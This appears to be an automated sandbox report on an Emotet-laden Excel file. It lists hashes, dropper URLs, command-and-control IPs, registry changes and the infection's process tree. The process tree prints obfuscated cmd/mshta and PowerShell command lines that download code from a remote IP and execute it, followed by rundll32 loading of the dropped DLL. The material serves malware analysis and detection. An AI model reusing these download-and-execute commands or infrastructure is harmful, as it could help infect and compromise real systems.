emotet | 3d9d856f454202dd099b997b079c0edb6c3b1e2e2379d22cb042a0bde92daa95

Analysis

max time kernel
140s
max time network
144s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 00:50

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General

Target

file 923.xls
Size

36KB
MD5

d2e3fb32e4e815fe2af7c7e49d85cdb1
SHA1

92533e7563698f9e5e0960d182cf74b03f00a8fb
SHA256

3d9d856f454202dd099b997b079c0edb6c3b1e2e2379d22cb042a0bde92daa95
SHA512

285ad6c939be79e8c212615b161264494748c25bf6cf918101fae8e6c3c06a8d2c374b490d9ce3f473855bc23e41c355932a54c8420adaaf70c05087628d9e06

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	540	1664	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 916 mshta.exe
5 1604 powershell.exe
7 1604 powershell.exe
9 1604 powershell.exe
11 1804 rundll32.exe
13 1804 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1948 rundll32.exe
1948 rundll32.exe
1948 rundll32.exe
1948 rundll32.exe
892 rundll32.exe
892 rundll32.exe
892 rundll32.exe
892 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Kzfmejnoxdgp\urynnk.anr rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	916	mshta.exe
5	1604	powershell.exe
7	1604	powershell.exe
9	1604	powershell.exe
11	1804	rundll32.exe
13	1804	rundll32.exe

pid	process
1948	rundll32.exe
1948	rundll32.exe
1948	rundll32.exe
1948	rundll32.exe
892	rundll32.exe
892	rundll32.exe
892	rundll32.exe
892	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Kzfmejnoxdgp\urynnk.anr	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1664 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1604 powershell.exe
1804 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1604 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1664 EXCEL.EXE
1664 EXCEL.EXE
1664 EXCEL.EXE

pid	process
1664	EXCEL.EXE

pid	process
1604	powershell.exe
1804	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1604	powershell.exe

pid	process
1664	EXCEL.EXE
1664	EXCEL.EXE
1664	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1664 wrote to memory of 540	1664	EXCEL.EXE	CMD.EXE
PID 1664 wrote to memory of 540	1664	EXCEL.EXE	CMD.EXE
PID 1664 wrote to memory of 540	1664	EXCEL.EXE	CMD.EXE
PID 1664 wrote to memory of 540	1664	EXCEL.EXE	CMD.EXE
PID 540 wrote to memory of 916	540	CMD.EXE	mshta.exe
PID 540 wrote to memory of 916	540	CMD.EXE	mshta.exe
PID 540 wrote to memory of 916	540	CMD.EXE	mshta.exe
PID 540 wrote to memory of 916	540	CMD.EXE	mshta.exe
PID 916 wrote to memory of 1604	916	mshta.exe	powershell.exe
PID 916 wrote to memory of 1604	916	mshta.exe	powershell.exe
PID 916 wrote to memory of 1604	916	mshta.exe	powershell.exe
PID 916 wrote to memory of 1604	916	mshta.exe	powershell.exe
PID 1604 wrote to memory of 1772	1604	powershell.exe	cmd.exe
PID 1604 wrote to memory of 1772	1604	powershell.exe	cmd.exe
PID 1604 wrote to memory of 1772	1604	powershell.exe	cmd.exe
PID 1604 wrote to memory of 1772	1604	powershell.exe	cmd.exe
PID 1772 wrote to memory of 1948	1772	cmd.exe	rundll32.exe
PID 1772 wrote to memory of 1948	1772	cmd.exe	rundll32.exe
PID 1772 wrote to memory of 1948	1772	cmd.exe	rundll32.exe
PID 1772 wrote to memory of 1948	1772	cmd.exe	rundll32.exe
PID 1772 wrote to memory of 1948	1772	cmd.exe	rundll32.exe
PID 1772 wrote to memory of 1948	1772	cmd.exe	rundll32.exe
PID 1772 wrote to memory of 1948	1772	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 892	1948	rundll32.exe	rundll32.exe
PID 1948 wrote to memory of 892	1948	rundll32.exe	rundll32.exe
PID 1948 wrote to memory of 892	1948	rundll32.exe	rundll32.exe
PID 1948 wrote to memory of 892	1948	rundll32.exe	rundll32.exe
PID 1948 wrote to memory of 892	1948	rundll32.exe	rundll32.exe
PID 1948 wrote to memory of 892	1948	rundll32.exe	rundll32.exe
PID 1948 wrote to memory of 892	1948	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 1832	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 1832	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 1832	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 1832	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 1832	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 1832	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 1832	892	rundll32.exe	rundll32.exe
PID 1832 wrote to memory of 1804	1832	rundll32.exe	rundll32.exe
PID 1832 wrote to memory of 1804	1832	rundll32.exe	rundll32.exe
PID 1832 wrote to memory of 1804	1832	rundll32.exe	rundll32.exe
PID 1832 wrote to memory of 1804	1832	rundll32.exe	rundll32.exe
PID 1832 wrote to memory of 1804	1832	rundll32.exe	rundll32.exe
PID 1832 wrote to memory of 1804	1832	rundll32.exe	rundll32.exe
PID 1832 wrote to memory of 1804	1832	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\file 923.xls"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:540

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1604

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:892

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kzfmejnoxdgp\urynnk.anr",DxAXISwr
8⤵
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kzfmejnoxdgp\urynnk.anr",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1804

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
7c8d78edc5626bd61591523c9c963b1e

SHA1
4f05391deedd6b55544f5de3a2c47ac88870436a

SHA256
9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

SHA512
0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

Download Submit
\ProgramData\QWER.dll
MD5
7c8d78edc5626bd61591523c9c963b1e

SHA1
4f05391deedd6b55544f5de3a2c47ac88870436a

SHA256
9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

SHA512
0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

Download Submit
\ProgramData\QWER.dll
MD5
7c8d78edc5626bd61591523c9c963b1e

SHA1
4f05391deedd6b55544f5de3a2c47ac88870436a

SHA256
9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

SHA512
0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

Download Submit
\ProgramData\QWER.dll
MD5
7c8d78edc5626bd61591523c9c963b1e

SHA1
4f05391deedd6b55544f5de3a2c47ac88870436a

SHA256
9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

SHA512
0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

Download Submit
\ProgramData\QWER.dll
MD5
